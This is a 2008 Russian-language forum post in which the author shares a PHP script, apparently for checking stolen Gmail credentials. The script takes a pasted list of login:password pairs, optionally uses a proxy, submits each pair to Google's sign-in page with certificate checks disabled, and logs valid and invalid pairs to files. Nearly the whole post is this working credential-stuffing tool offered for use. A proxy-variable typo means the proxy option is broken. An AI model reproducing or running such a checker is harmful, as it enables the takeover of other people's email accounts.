| Shadow_p1raT |
30.09.2008 18:50 |
Делать было нех,решил написать под гмаил.
Внимание!Cкрипт требует поддержки cURL
PHP код:
<?php
/* (c)Shadow_p1raT
icq:9930875
*/
ob_implicit_flush (true);
set_time_limit (0);
if(!$_POST)
{
echo <<<HERE
<form method=POST>
Акки:<br>
<textarea name="accounts" rows=10 cols=40></textarea><br>
Прокси:
<input type=text name="proxy"><br>
<input type="submit" value="Чекать";
</form>
HERE;
}
if($_POST['accounts'])
{
echo "Начало чека<br>";
$porxy = $_POST['proxy'];
preg_match_all ("/([a-zA-Z0-9\-_\.]{3,})@gmail\.com[;|:](\w+)/", $_POST["accounts"], $tmp);
for ($i = 0; $i < count ($tmp[1]); $i ++)
{
$accs[] = array (trim ($tmp[1][$i]), trim ($tmp[2][$i]));
}
if (count ($accs) == 0) die ("<b>Error! Акки не загружены.</b><br>\n");
else echo "Всего ".count ($accs)." акка(ов).<br>\n";
for ($i = 0; $i < count ($accs); $i ++)
{
$login = $accs[$i][0];
$password = $accs[$i][1];
echo "Юзаю акк: ".$login.":".$password."<br>\n";
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL, "https://www.google.com/accounts/ServiceLoginAuth?service=mail");
if ($proxy != "") curl_setopt ($ch, CURLOPT_PROXY, $proxy);
curl_setopt ($ch, CURLOPT_HEADER, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_POST, true);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
$data = array ("ltmpl" => "default", "ltmplcache" => "2", "continue" => "http://mail.google.com/mail/?ui=mobile", "service" => "mail", "ltmpl" => "default", "hl" => "en", "Email" => $login, "Passwd" => $password, "rmShown" => "1", "signIn" => "Sign in");
curl_setopt ($ch, CURLOPT_POSTFIELDS, $data);
$res = curl_exec ($ch);
if (strpos ($res, "Username and password do not match") || strpos ($res, "Enter the letters as they are"))
{
echo 'Левый акк:'.$login.':'.$password.'<br>';
fwrite(fopen('bad.txt','a'),"$login@gmail.com:$password\r\n");
}
else
{
echo 'Хороший акк:'.$login.':'.$password.'<br>';
fwrite(fopen('good.txt','a'),"$login@gmail.com:$password\r\n");
}
sleep(2);
}
}
?>
Эсть поддержка прокси,cильно не тестировал.
p/s задержка между логинов аккунтов составляет 2сек,кто хочет может сменить.
|